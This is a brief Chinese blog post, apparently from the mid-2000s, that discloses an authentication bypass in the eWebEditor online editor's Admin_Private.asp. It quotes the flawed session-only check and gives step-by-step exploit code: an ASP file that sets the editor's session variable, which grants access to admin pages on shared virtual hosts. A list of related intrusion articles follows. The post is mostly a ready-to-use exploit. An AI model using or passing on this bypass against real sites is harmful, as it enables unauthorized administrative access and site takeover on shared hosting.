eWebEditor在线编辑器
漏洞文件:Admin_Private.asp
漏洞语句:<%

If Session(“eWebEditor_User”) = “” Then
Response.Redirect “admin_login.asp”
Response.End
End If

只判断了session，没有判断cookies和路径的验证问题。
漏洞利用:
新建一个h4x0r.asp内容如下:
<%Session(“eWebEditor_User”) = “11111111″%>
访问h4x0r.asp，再访问后台任何文件，for example:Admin_Default.asp

漏洞影响:虚拟主机的克星.

你也许还想了解这些

• 2006年06月13日 -- 入侵网站的各种漏洞的利用
• 2006年04月30日 -- Windows 2003搭建虚拟主机服务器（图）
• 2006年02月20日 -- 入侵渗透思路
• 2006年01月3日 -- 山穷水尽的突破
• 2006年01月2日 -- 将Alexa工具条改装成间谍木马
• 2005年12月14日 -- 另类的注射攻击—Cookies Injection
• 2005年12月6日 -- PHP 4.1.0 – php.ini 全文翻译
• 2005年12月5日 -- Serv-U.php：黑暗中的光芒
• 2005年12月5日 -- MSIE DHTML Edit跨站脚本漏洞
• 2005年12月5日 -- 攻击记录分析篇之IIS&Apache